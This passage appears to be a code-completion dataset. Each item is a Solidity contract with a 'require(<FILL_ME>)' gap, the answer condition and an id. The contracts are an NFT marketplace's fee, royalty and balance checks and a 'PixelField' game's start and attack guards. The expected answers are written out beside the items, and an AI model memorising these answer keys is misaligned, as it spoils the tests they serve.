Lets a listing's creator accept an offer for their direct listing. function acceptOffer( uint256 _listingId, address _offeror, address _currency, uint256 _pricePerToken ) external override nonReentrant onlyListingCreator(_listingId) onlyExistingListing(_listingId) { } /// @dev Performs a direct listing sale. function executeSale( Listing memory _targetListing, address _payer, address _receiver, address _currency, uint256 _currencyAmountToTransfer, uint256 _listingTokenAmountToTransfer ) internal { } /*/////////////////////////////////////////////////////////////// Offer/bid logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account (1) make an offer to a direct listing, or (2) make a bid in an auction. function offer( uint256 _listingId, uint256 _quantityWanted, address _currency, uint256 _pricePerToken, uint256 _expirationTimestamp ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Processes a new offer to a direct listing. function handleOffer(Listing memory _targetListing, Offer memory _newOffer) internal { } /// @dev Processes an incoming bid in an auction. function handleBid(Listing memory _targetListing, Offer memory _incomingBid) internal { } /// @dev Checks whether an incoming bid is the new current highest bid. function isNewWinningBid( uint256 _reserveAmount, uint256 _currentWinningBidAmount, uint256 _incomingBidAmount ) internal view returns (bool isValidNewBid) { } /*/////////////////////////////////////////////////////////////// Auction lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account close an auction for either the (1) winning bidder, or (2) auction creator. function closeAuction(uint256 _listingId, address _closeFor) external override nonReentrant onlyExistingListing(_listingId) { } /// @dev Cancels an auction. function _cancelAuction(Listing memory _targetListing) internal { } /// @dev Closes an auction for an auction creator; distributes winning bid amount to auction creator. function _closeAuctionForAuctionCreator(Listing memory _targetListing, Offer memory _winningBid) internal { } /// @dev Closes an auction for the winning bidder; distributes auction items to the winning bidder. function _closeAuctionForBidder(Listing memory _targetListing, Offer memory _winningBid) internal { } /*/////////////////////////////////////////////////////////////// Shared (direct+auction listings) internal functions //////////////////////////////////////////////////////////////*/ /// @dev Transfers tokens listed for sale in a direct or auction listing. function transferListingTokens( address _from, address _to, uint256 _quantity, Listing memory _listing ) internal { } /// @dev Pays out stakeholders in a sale. function payout( address _payer, address _payee, address _currencyToUse, uint256 _totalPayoutAmount, Listing memory _listing ) internal { uint256 platformFeeCut = (_totalPayoutAmount * platformFeeBps) / MAX_BPS; (address twFeeRecipient, uint256 twFeeBps) = thirdwebFee.getFeeInfo(address(this), FeeType.MARKET_SALE); uint256 twFeeCut = (_totalPayoutAmount * twFeeBps) / MAX_BPS; uint256 royaltyCut; address royaltyRecipient; // Distribute royalties. See Sushiswap's https://github.com/sushiswap/shoyu/blob/master/contracts/base/BaseExchange.sol#L296 try IERC2981Upgradeable(_listing.assetContract).royaltyInfo(_listing.tokenId, _totalPayoutAmount) returns ( address royaltyFeeRecipient, uint256 royaltyFeeAmount ) { if (royaltyFeeRecipient != address(0) && royaltyFeeAmount > 0) { require(<FILL_ME>) royaltyRecipient = royaltyFeeRecipient; royaltyCut = royaltyFeeAmount; } } catch {} // Distribute price to token owner address _nativeTokenWrapper = nativeTokenWrapper; CurrencyTransferLib.transferCurrencyWithWrapper( _currencyToUse, _payer, platformFeeRecipient, platformFeeCut, _nativeTokenWrapper ); CurrencyTransferLib.transferCurrencyWithWrapper( _currencyToUse, _payer, royaltyRecipient, royaltyCut, _nativeTokenWrapper ); CurrencyTransferLib.transferCurrencyWithWrapper( _currencyToUse, _payer, twFeeRecipient, twFeeCut, _nativeTokenWrapper ); CurrencyTransferLib.transferCurrencyWithWrapper( _currencyToUse, _payer, _payee, _totalPayoutAmount - (platformFeeCut + royaltyCut + twFeeCut), _nativeTokenWrapper ); } /// @dev Validates that `_addrToCheck` owns and has approved markeplace to transfer the appropriate amount of currency function validateERC20BalAndAllowance( address _addrToCheck, address _currency, uint256 _currencyAmountToCheckAgainst ) internal view { } /// @dev Validates that `_tokenOwner` owns and has approved Market to transfer NFTs. function validateOwnershipAndApproval( address _tokenOwner, address _assetContract, uint256 _tokenId, uint256 _quantity, TokenType _tokenType ) internal view { } /// @dev Validates conditions of a direct listing sale. function validateDirectListingSale( Listing memory _listing, address _payer, uint256 _quantityToBuy, address _currency, uint256 settledTotalPrice ) internal { } /*/////////////////////////////////////////////////////////////// Getter functions //////////////////////////////////////////////////////////////*/ /// @dev Enforces quantity == 1 if tokenType is TokenType.ERC721. function getSafeQuantity(TokenType _tokenType, uint256 _quantityToCheck) internal pure returns (uint256 safeQuantity) { } /// @dev Returns the interface supported by a contract. function getTokenType(address _assetContract) internal view returns (TokenType tokenType) { } /// @dev Returns the platform fee recipient and bps. function getPlatformFeeInfo() external view returns (address, uint16) { } /*/////////////////////////////////////////////////////////////// Setter functions //////////////////////////////////////////////////////////////*/ /// @dev Lets a contract admin update platform fee recipient and bps. function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set auction buffers. function setAuctionBuffers(uint256 _timeBuffer, uint256 _bidBufferBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set the URI for the contract-level metadata. function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) { } /*/////////////////////////////////////////////////////////////// Miscellaneous //////////////////////////////////////////////////////////////*/ function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address sender) { } function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) { } }
royaltyFeeAmount+platformFeeCut+twFeeCut<=_totalPayoutAmount,"fees exceed the price"
435,928
royaltyFeeAmount+platformFeeCut+twFeeCut<=_totalPayoutAmount
"!BAL20"
// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.11; // ========== External imports ========== import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC1155/IERC1155ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/interfaces/IERC2981Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/access/AccessControlEnumerableUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/security/ReentrancyGuardUpgradeable.sol"; import "@openzeppelin/contracts-upgradeable/utils/MulticallUpgradeable.sol"; // ========== Internal imports ========== import { IMarketplace } from "../interfaces/marketplace/IMarketplace.sol"; import { ITWFee } from "../interfaces/ITWFee.sol"; import "../openzeppelin-presets/metatx/ERC2771ContextUpgradeable.sol"; import "../lib/CurrencyTransferLib.sol"; import "../lib/FeeType.sol"; contract Marketplace is Initializable, IMarketplace, ReentrancyGuardUpgradeable, ERC2771ContextUpgradeable, MulticallUpgradeable, AccessControlEnumerableUpgradeable, IERC721ReceiverUpgradeable, IERC1155ReceiverUpgradeable { /*/////////////////////////////////////////////////////////////// State variables //////////////////////////////////////////////////////////////*/ bytes32 private constant MODULE_TYPE = bytes32("Marketplace"); uint256 private constant VERSION = 2; /// @dev Only lister role holders can create listings, when listings are restricted by lister address. bytes32 private constant LISTER_ROLE = keccak256("LISTER_ROLE"); /// @dev Only assets from NFT contracts with asset role can be listed, when listings are restricted by asset address. bytes32 private constant ASSET_ROLE = keccak256("ASSET_ROLE"); /// @dev The address of the native token wrapper contract. address private immutable nativeTokenWrapper; /// @dev The thirdweb contract with fee related information. ITWFee public immutable thirdwebFee; /// @dev Total number of listings ever created in the marketplace. uint256 public totalListings; /// @dev Contract level metadata. string public contractURI; /// @dev The address that receives all platform fees from all sales. address private platformFeeRecipient; /// @dev The max bps of the contract. So, 10_000 == 100 % uint64 public constant MAX_BPS = 10_000; /// @dev The % of primary sales collected as platform fees. uint64 private platformFeeBps; /// @dev /** * @dev The amount of time added to an auction's 'endTime', if a bid is made within `timeBuffer` * seconds of the existing `endTime`. Default: 15 minutes. */ uint64 public timeBuffer; /// @dev The minimum % increase required from the previous winning bid. Default: 5%. uint64 public bidBufferBps; /*/////////////////////////////////////////////////////////////// Mappings //////////////////////////////////////////////////////////////*/ /// @dev Mapping from uid of listing => listing info. mapping(uint256 => Listing) public listings; /// @dev Mapping from uid of a direct listing => offeror address => offer made to the direct listing by the respective offeror. mapping(uint256 => mapping(address => Offer)) public offers; /// @dev Mapping from uid of an auction listing => current winning bid in an auction. mapping(uint256 => Offer) public winningBid; /*/////////////////////////////////////////////////////////////// Modifiers //////////////////////////////////////////////////////////////*/ /// @dev Checks whether caller is a listing creator. modifier onlyListingCreator(uint256 _listingId) { } /// @dev Checks whether a listing exists. modifier onlyExistingListing(uint256 _listingId) { } /*/////////////////////////////////////////////////////////////// Constructor + initializer logic //////////////////////////////////////////////////////////////*/ constructor(address _nativeTokenWrapper, address _thirdwebFee) initializer { } /// @dev Initiliazes the contract, like a constructor. function initialize( address _defaultAdmin, string memory _contractURI, address[] memory _trustedForwarders, address _platformFeeRecipient, uint256 _platformFeeBps ) external initializer { } /*/////////////////////////////////////////////////////////////// Generic contract logic //////////////////////////////////////////////////////////////*/ /// @dev Lets the contract receives native tokens from `nativeTokenWrapper` withdraw. receive() external payable {} /// @dev Returns the type of the contract. function contractType() external pure returns (bytes32) { } /// @dev Returns the version of the contract. function contractVersion() external pure returns (uint8) { } /*/////////////////////////////////////////////////////////////// ERC 165 / 721 / 1155 logic //////////////////////////////////////////////////////////////*/ function onERC1155Received( address, address, uint256, uint256, bytes memory ) public virtual override returns (bytes4) { } function onERC1155BatchReceived( address, address, uint256[] memory, uint256[] memory, bytes memory ) public virtual override returns (bytes4) { } function onERC721Received( address, address, uint256, bytes calldata ) external pure override returns (bytes4) { } function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerableUpgradeable, IERC165Upgradeable) returns (bool) { } /*/////////////////////////////////////////////////////////////// Listing (create-update-delete) logic //////////////////////////////////////////////////////////////*/ /// @dev Lets a token owner list tokens for sale: Direct Listing or Auction. function createListing(ListingParameters memory _params) external override { } /// @dev Lets a listing's creator edit the listing's parameters. function updateListing( uint256 _listingId, uint256 _quantityToList, uint256 _reservePricePerToken, uint256 _buyoutPricePerToken, address _currencyToAccept, uint256 _startTime, uint256 _secondsUntilEndTime ) external override onlyListingCreator(_listingId) { } /// @dev Lets a direct listing creator cancel their listing. function cancelDirectListing(uint256 _listingId) external onlyListingCreator(_listingId) { } /*/////////////////////////////////////////////////////////////// Direct lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account buy a given quantity of tokens from a listing. function buy( uint256 _listingId, address _buyFor, uint256 _quantityToBuy, address _currency, uint256 _totalPrice ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Lets a listing's creator accept an offer for their direct listing. function acceptOffer( uint256 _listingId, address _offeror, address _currency, uint256 _pricePerToken ) external override nonReentrant onlyListingCreator(_listingId) onlyExistingListing(_listingId) { } /// @dev Performs a direct listing sale. function executeSale( Listing memory _targetListing, address _payer, address _receiver, address _currency, uint256 _currencyAmountToTransfer, uint256 _listingTokenAmountToTransfer ) internal { } /*/////////////////////////////////////////////////////////////// Offer/bid logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account (1) make an offer to a direct listing, or (2) make a bid in an auction. function offer( uint256 _listingId, uint256 _quantityWanted, address _currency, uint256 _pricePerToken, uint256 _expirationTimestamp ) external payable override nonReentrant onlyExistingListing(_listingId) { } /// @dev Processes a new offer to a direct listing. function handleOffer(Listing memory _targetListing, Offer memory _newOffer) internal { } /// @dev Processes an incoming bid in an auction. function handleBid(Listing memory _targetListing, Offer memory _incomingBid) internal { } /// @dev Checks whether an incoming bid is the new current highest bid. function isNewWinningBid( uint256 _reserveAmount, uint256 _currentWinningBidAmount, uint256 _incomingBidAmount ) internal view returns (bool isValidNewBid) { } /*/////////////////////////////////////////////////////////////// Auction lisitngs sales logic //////////////////////////////////////////////////////////////*/ /// @dev Lets an account close an auction for either the (1) winning bidder, or (2) auction creator. function closeAuction(uint256 _listingId, address _closeFor) external override nonReentrant onlyExistingListing(_listingId) { } /// @dev Cancels an auction. function _cancelAuction(Listing memory _targetListing) internal { } /// @dev Closes an auction for an auction creator; distributes winning bid amount to auction creator. function _closeAuctionForAuctionCreator(Listing memory _targetListing, Offer memory _winningBid) internal { } /// @dev Closes an auction for the winning bidder; distributes auction items to the winning bidder. function _closeAuctionForBidder(Listing memory _targetListing, Offer memory _winningBid) internal { } /*/////////////////////////////////////////////////////////////// Shared (direct+auction listings) internal functions //////////////////////////////////////////////////////////////*/ /// @dev Transfers tokens listed for sale in a direct or auction listing. function transferListingTokens( address _from, address _to, uint256 _quantity, Listing memory _listing ) internal { } /// @dev Pays out stakeholders in a sale. function payout( address _payer, address _payee, address _currencyToUse, uint256 _totalPayoutAmount, Listing memory _listing ) internal { } /// @dev Validates that `_addrToCheck` owns and has approved markeplace to transfer the appropriate amount of currency function validateERC20BalAndAllowance( address _addrToCheck, address _currency, uint256 _currencyAmountToCheckAgainst ) internal view { require(<FILL_ME>) } /// @dev Validates that `_tokenOwner` owns and has approved Market to transfer NFTs. function validateOwnershipAndApproval( address _tokenOwner, address _assetContract, uint256 _tokenId, uint256 _quantity, TokenType _tokenType ) internal view { } /// @dev Validates conditions of a direct listing sale. function validateDirectListingSale( Listing memory _listing, address _payer, uint256 _quantityToBuy, address _currency, uint256 settledTotalPrice ) internal { } /*/////////////////////////////////////////////////////////////// Getter functions //////////////////////////////////////////////////////////////*/ /// @dev Enforces quantity == 1 if tokenType is TokenType.ERC721. function getSafeQuantity(TokenType _tokenType, uint256 _quantityToCheck) internal pure returns (uint256 safeQuantity) { } /// @dev Returns the interface supported by a contract. function getTokenType(address _assetContract) internal view returns (TokenType tokenType) { } /// @dev Returns the platform fee recipient and bps. function getPlatformFeeInfo() external view returns (address, uint16) { } /*/////////////////////////////////////////////////////////////// Setter functions //////////////////////////////////////////////////////////////*/ /// @dev Lets a contract admin update platform fee recipient and bps. function setPlatformFeeInfo(address _platformFeeRecipient, uint256 _platformFeeBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set auction buffers. function setAuctionBuffers(uint256 _timeBuffer, uint256 _bidBufferBps) external onlyRole(DEFAULT_ADMIN_ROLE) { } /// @dev Lets a contract admin set the URI for the contract-level metadata. function setContractURI(string calldata _uri) external onlyRole(DEFAULT_ADMIN_ROLE) { } /*/////////////////////////////////////////////////////////////// Miscellaneous //////////////////////////////////////////////////////////////*/ function _msgSender() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (address sender) { } function _msgData() internal view virtual override(ContextUpgradeable, ERC2771ContextUpgradeable) returns (bytes calldata) { } }
IERC20Upgradeable(_currency).balanceOf(_addrToCheck)>=_currencyAmountToCheckAgainst&&IERC20Upgradeable(_currency).allowance(_addrToCheck,address(this))>=_currencyAmountToCheckAgainst,"!BAL20"
435,928
IERC20Upgradeable(_currency).balanceOf(_addrToCheck)>=_currencyAmountToCheckAgainst&&IERC20Upgradeable(_currency).allowance(_addrToCheck,address(this))>=_currencyAmountToCheckAgainst
"War can't be halted"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.15; import "@openzeppelin/contracts/access/Ownable.sol"; import './PixelTag.sol'; import './PixelRoyale.sol'; contract PixelField is Ownable { //---------- Addies ----------// address public contractCreator; address public lastPlayer; address public mostAttacks; address public randomPlayer; address public randomTag; address public abashoCollective; // ---> Needs to be set address public constant pixelTagContract = 0xCB4e67764885A322061199845b89A502879D12CF; // ---> Interface for Tags DONE --> Turn into constant before we ship address public constant pixelWarContract = 0xce73F0473a49807a92a95659c0b8dD883B29c252; // ---> Interface for Warriors DONE --> Turn into constant before we ship //---------- Player Vars ----------// uint256 public constant MAXPIXELS = 4444; mapping(uint256 =>int256) public pixelWarriors; // Inialize state for each pixelWarrior uint256 public fallenPixels; // ---> Inits to 0 //---------- Bools ----------// bool public pixelWarStarted; bool public pixelWarConcluded; bool internal payout; //---------- General Condition ----------// uint256 public timeLimit = 1671667200; // Thursday, 22. December 2022 00:00:00 GMT uint256 constant ITEM_PRICE = 0.005 ether; mapping(address => uint256) public walletHighscore; // ---> keeps track of each wallet highscore uint256 public currentHighscore; string private salt; //---------- Mini Jackpot Vars ----------// uint256 public jackpot; //---------- Events ----------// event DropOut(address from,uint256 tokenId); event MiniJackpotWin(address winner, uint256 jackpotAmount); //---------- Construct----------// constructor() { } //----------SET LATE ABASHO COLLECTIVE ADDRESS ---- function setAbashoADDR(address _addr) external onlyOwner { } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Manually Start PixelRoyale ----------// function startPixelWar() external onlyOwner { require(<FILL_ME>) pixelWarStarted = true; } //---------- Calculate Amount Of "Alive" Players ----------// function getPopulation() public view returns(uint256 _population) { } //---------- Returns Last Player ID ----------// function checkLastSurvivor() public view returns(uint256 _winner) { } //---------- Checks If Specified TokenID Is "Alive" ----------// function isAlive(uint256 _tokenId) public view returns(bool _alive) { } //---------- Returns Random "Alive" TokenID ----------// function returnRandomId() public view returns(uint256 _tokenId) { } //---------- Pseudo Random Number Generator From Range ----------// function pseudoRandom(uint256 _number, string memory _specialSalt) internal view returns(uint256 number) { } //---------- Change Salt Value Pseudo Randomness ----------// function changeSalt(string memory _newSalt) public onlyOwner { } //---------- Set HP For Players | Protect/Attack ----------// function setHP(uint256 _tokenId, int256 _amount) external payable { } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Add 49% Of Bet To Mini Jackpot ----------// function addToPot(uint256 _amount) internal { } //---------- Calculate Current Mini Jackpot Size ----------// //---------- Win Mini Jackpot Function ----------// function tryJackpot() internal { } //--------------------------------------------------------------------------------------------- //---------- WITHDRAW FUNCTIONS ----------// //---------- Distribute Balance if Game Has Not Concluded Prior To Time Limit ----------// function withdraw() public { } //---------- Distribute Balance if Game Has Concluded Prior To Time Limit ----------// //---------- EXPENSIVE WE WILL BE CHANGING THE SALT VALUE PER BLOCK TO RESIST MINER ATTACKS----------// function distributeToWinners() public { } //--------------------------------------------------------------------------------------------- //---------- Interface of PixelWarrior ----------// function wTokenURI(uint256 _tokenId) public view returns (string memory){ } function wOwnerOf(uint256 _tokenId) public view returns (address){ } //---------- Interface of PixelTags ----------// function tTokenURI(uint256 _tokenId) public view returns (string memory){ } function tOwnerOf(uint256 _tokenId) public view returns (address){ } }
!pixelWarStarted,"War can't be halted"
435,940
!pixelWarStarted
"PixelRoyale has concluded!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.15; import "@openzeppelin/contracts/access/Ownable.sol"; import './PixelTag.sol'; import './PixelRoyale.sol'; contract PixelField is Ownable { //---------- Addies ----------// address public contractCreator; address public lastPlayer; address public mostAttacks; address public randomPlayer; address public randomTag; address public abashoCollective; // ---> Needs to be set address public constant pixelTagContract = 0xCB4e67764885A322061199845b89A502879D12CF; // ---> Interface for Tags DONE --> Turn into constant before we ship address public constant pixelWarContract = 0xce73F0473a49807a92a95659c0b8dD883B29c252; // ---> Interface for Warriors DONE --> Turn into constant before we ship //---------- Player Vars ----------// uint256 public constant MAXPIXELS = 4444; mapping(uint256 =>int256) public pixelWarriors; // Inialize state for each pixelWarrior uint256 public fallenPixels; // ---> Inits to 0 //---------- Bools ----------// bool public pixelWarStarted; bool public pixelWarConcluded; bool internal payout; //---------- General Condition ----------// uint256 public timeLimit = 1671667200; // Thursday, 22. December 2022 00:00:00 GMT uint256 constant ITEM_PRICE = 0.005 ether; mapping(address => uint256) public walletHighscore; // ---> keeps track of each wallet highscore uint256 public currentHighscore; string private salt; //---------- Mini Jackpot Vars ----------// uint256 public jackpot; //---------- Events ----------// event DropOut(address from,uint256 tokenId); event MiniJackpotWin(address winner, uint256 jackpotAmount); //---------- Construct----------// constructor() { } //----------SET LATE ABASHO COLLECTIVE ADDRESS ---- function setAbashoADDR(address _addr) external onlyOwner { } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Manually Start PixelRoyale ----------// function startPixelWar() external onlyOwner { } //---------- Calculate Amount Of "Alive" Players ----------// function getPopulation() public view returns(uint256 _population) { } //---------- Returns Last Player ID ----------// function checkLastSurvivor() public view returns(uint256 _winner) { } //---------- Checks If Specified TokenID Is "Alive" ----------// function isAlive(uint256 _tokenId) public view returns(bool _alive) { } //---------- Returns Random "Alive" TokenID ----------// function returnRandomId() public view returns(uint256 _tokenId) { } //---------- Pseudo Random Number Generator From Range ----------// function pseudoRandom(uint256 _number, string memory _specialSalt) internal view returns(uint256 number) { } //---------- Change Salt Value Pseudo Randomness ----------// function changeSalt(string memory _newSalt) public onlyOwner { } //---------- Set HP For Players | Protect/Attack ----------// function setHP(uint256 _tokenId, int256 _amount) external payable { require(<FILL_ME>) require(pixelWarStarted, "PixelRoyale hasn't started!"); require(getPopulation() > 1, "We already have a winner!"); require(_amount != 0, "Value needs to be > or < than 0"); require(pixelWarriors[_tokenId-1] > -1, "Player already out of the Game"); uint256 priceMod = 10; // ---> 0% uint256 amount; // turn _amount into a positive amount value _amount < 0 ? amount = uint256(_amount*-1) : amount = uint256(_amount); // bulk pricing: if(amount>6) { priceMod = 8; // ---> 20% if(amount>12) { priceMod = 7; // ---> 30% if(amount>18) { priceMod = 6; // ---> 40% if(amount>24) { priceMod = 5; } // ---> 50% } } } // calculate purchase uint256 currentPrice = ITEM_PRICE / 10 * priceMod * amount; require((currentPrice) <= msg.value, "Not enough ETH"); // checks on attack purchase if(_amount < 0) { require(pixelWarriors[_tokenId-1]+_amount>-2,"Warrior overkill"); walletHighscore[_msgSender()] += amount; if(walletHighscore[_msgSender()] > currentHighscore) { currentHighscore = walletHighscore[_msgSender()]; mostAttacks = _msgSender(); } } // change health value in player struct (pixelWarriors[_tokenId-1]+_amount) < 0 ? pixelWarriors[_tokenId-1] = -1 : pixelWarriors[_tokenId-1] = pixelWarriors[_tokenId-1] + _amount; // add to mini jackpot array addToPot(msg.value); // try jackpot if(jackpot>0){ tryJackpot(); } // check if token is alive | Check if player has dropped out of Game InterfacePixelTags pixelTag = InterfacePixelTags(pixelTagContract); // ---> Interface to Tags NFT if ( !isAlive(_tokenId) ) { fallenPixels++; pixelTag.mintPixelTag(_msgSender()); // ---> MINT DogTag FROM ERC721A pixelWarriors[_tokenId-1] = -1; //emit DropOut event emit DropOut(_msgSender(),_tokenId); // ---> Killer, Killed Token } // check if population is 1 | check if PixelRoyale has concluded if ( getPopulation() < 2 ) { pixelWarConcluded = true; randomPlayer = wOwnerOf(pseudoRandom(MAXPIXELS,"Warrior")); randomTag = tOwnerOf(pseudoRandom(MAXPIXELS-1,"Tag")); } } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Add 49% Of Bet To Mini Jackpot ----------// function addToPot(uint256 _amount) internal { } //---------- Calculate Current Mini Jackpot Size ----------// //---------- Win Mini Jackpot Function ----------// function tryJackpot() internal { } //--------------------------------------------------------------------------------------------- //---------- WITHDRAW FUNCTIONS ----------// //---------- Distribute Balance if Game Has Not Concluded Prior To Time Limit ----------// function withdraw() public { } //---------- Distribute Balance if Game Has Concluded Prior To Time Limit ----------// //---------- EXPENSIVE WE WILL BE CHANGING THE SALT VALUE PER BLOCK TO RESIST MINER ATTACKS----------// function distributeToWinners() public { } //--------------------------------------------------------------------------------------------- //---------- Interface of PixelWarrior ----------// function wTokenURI(uint256 _tokenId) public view returns (string memory){ } function wOwnerOf(uint256 _tokenId) public view returns (address){ } //---------- Interface of PixelTags ----------// function tTokenURI(uint256 _tokenId) public view returns (string memory){ } function tOwnerOf(uint256 _tokenId) public view returns (address){ } }
!pixelWarConcluded,"PixelRoyale has concluded!"
435,940
!pixelWarConcluded
"We already have a winner!"
// SPDX-License-Identifier: MIT pragma solidity ^0.8.15; import "@openzeppelin/contracts/access/Ownable.sol"; import './PixelTag.sol'; import './PixelRoyale.sol'; contract PixelField is Ownable { //---------- Addies ----------// address public contractCreator; address public lastPlayer; address public mostAttacks; address public randomPlayer; address public randomTag; address public abashoCollective; // ---> Needs to be set address public constant pixelTagContract = 0xCB4e67764885A322061199845b89A502879D12CF; // ---> Interface for Tags DONE --> Turn into constant before we ship address public constant pixelWarContract = 0xce73F0473a49807a92a95659c0b8dD883B29c252; // ---> Interface for Warriors DONE --> Turn into constant before we ship //---------- Player Vars ----------// uint256 public constant MAXPIXELS = 4444; mapping(uint256 =>int256) public pixelWarriors; // Inialize state for each pixelWarrior uint256 public fallenPixels; // ---> Inits to 0 //---------- Bools ----------// bool public pixelWarStarted; bool public pixelWarConcluded; bool internal payout; //---------- General Condition ----------// uint256 public timeLimit = 1671667200; // Thursday, 22. December 2022 00:00:00 GMT uint256 constant ITEM_PRICE = 0.005 ether; mapping(address => uint256) public walletHighscore; // ---> keeps track of each wallet highscore uint256 public currentHighscore; string private salt; //---------- Mini Jackpot Vars ----------// uint256 public jackpot; //---------- Events ----------// event DropOut(address from,uint256 tokenId); event MiniJackpotWin(address winner, uint256 jackpotAmount); //---------- Construct----------// constructor() { } //----------SET LATE ABASHO COLLECTIVE ADDRESS ---- function setAbashoADDR(address _addr) external onlyOwner { } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Manually Start PixelRoyale ----------// function startPixelWar() external onlyOwner { } //---------- Calculate Amount Of "Alive" Players ----------// function getPopulation() public view returns(uint256 _population) { } //---------- Returns Last Player ID ----------// function checkLastSurvivor() public view returns(uint256 _winner) { } //---------- Checks If Specified TokenID Is "Alive" ----------// function isAlive(uint256 _tokenId) public view returns(bool _alive) { } //---------- Returns Random "Alive" TokenID ----------// function returnRandomId() public view returns(uint256 _tokenId) { } //---------- Pseudo Random Number Generator From Range ----------// function pseudoRandom(uint256 _number, string memory _specialSalt) internal view returns(uint256 number) { } //---------- Change Salt Value Pseudo Randomness ----------// function changeSalt(string memory _newSalt) public onlyOwner { } //---------- Set HP For Players | Protect/Attack ----------// function setHP(uint256 _tokenId, int256 _amount) external payable { require(!pixelWarConcluded, "PixelRoyale has concluded!"); require(pixelWarStarted, "PixelRoyale hasn't started!"); require(<FILL_ME>) require(_amount != 0, "Value needs to be > or < than 0"); require(pixelWarriors[_tokenId-1] > -1, "Player already out of the Game"); uint256 priceMod = 10; // ---> 0% uint256 amount; // turn _amount into a positive amount value _amount < 0 ? amount = uint256(_amount*-1) : amount = uint256(_amount); // bulk pricing: if(amount>6) { priceMod = 8; // ---> 20% if(amount>12) { priceMod = 7; // ---> 30% if(amount>18) { priceMod = 6; // ---> 40% if(amount>24) { priceMod = 5; } // ---> 50% } } } // calculate purchase uint256 currentPrice = ITEM_PRICE / 10 * priceMod * amount; require((currentPrice) <= msg.value, "Not enough ETH"); // checks on attack purchase if(_amount < 0) { require(pixelWarriors[_tokenId-1]+_amount>-2,"Warrior overkill"); walletHighscore[_msgSender()] += amount; if(walletHighscore[_msgSender()] > currentHighscore) { currentHighscore = walletHighscore[_msgSender()]; mostAttacks = _msgSender(); } } // change health value in player struct (pixelWarriors[_tokenId-1]+_amount) < 0 ? pixelWarriors[_tokenId-1] = -1 : pixelWarriors[_tokenId-1] = pixelWarriors[_tokenId-1] + _amount; // add to mini jackpot array addToPot(msg.value); // try jackpot if(jackpot>0){ tryJackpot(); } // check if token is alive | Check if player has dropped out of Game InterfacePixelTags pixelTag = InterfacePixelTags(pixelTagContract); // ---> Interface to Tags NFT if ( !isAlive(_tokenId) ) { fallenPixels++; pixelTag.mintPixelTag(_msgSender()); // ---> MINT DogTag FROM ERC721A pixelWarriors[_tokenId-1] = -1; //emit DropOut event emit DropOut(_msgSender(),_tokenId); // ---> Killer, Killed Token } // check if population is 1 | check if PixelRoyale has concluded if ( getPopulation() < 2 ) { pixelWarConcluded = true; randomPlayer = wOwnerOf(pseudoRandom(MAXPIXELS,"Warrior")); randomTag = tOwnerOf(pseudoRandom(MAXPIXELS-1,"Tag")); } } //--------------------------------------------------------------------------------------------- //---------- BATTLE ROYALE GAME ----------// //---------- Add 49% Of Bet To Mini Jackpot ----------// function addToPot(uint256 _amount) internal { } //---------- Calculate Current Mini Jackpot Size ----------// //---------- Win Mini Jackpot Function ----------// function tryJackpot() internal { } //--------------------------------------------------------------------------------------------- //---------- WITHDRAW FUNCTIONS ----------// //---------- Distribute Balance if Game Has Not Concluded Prior To Time Limit ----------// function withdraw() public { } //---------- Distribute Balance if Game Has Concluded Prior To Time Limit ----------// //---------- EXPENSIVE WE WILL BE CHANGING THE SALT VALUE PER BLOCK TO RESIST MINER ATTACKS----------// function distributeToWinners() public { } //--------------------------------------------------------------------------------------------- //---------- Interface of PixelWarrior ----------// function wTokenURI(uint256 _tokenId) public view returns (string memory){ } function wOwnerOf(uint256 _tokenId) public view returns (address){ } //---------- Interface of PixelTags ----------// function tTokenURI(uint256 _tokenId) public view returns (string memory){ } function tOwnerOf(uint256 _tokenId) public view returns (address){ } }
getPopulation()>1,"We already have a winner!"
435,940
getPopulation()>1
"Player already out of the Game"
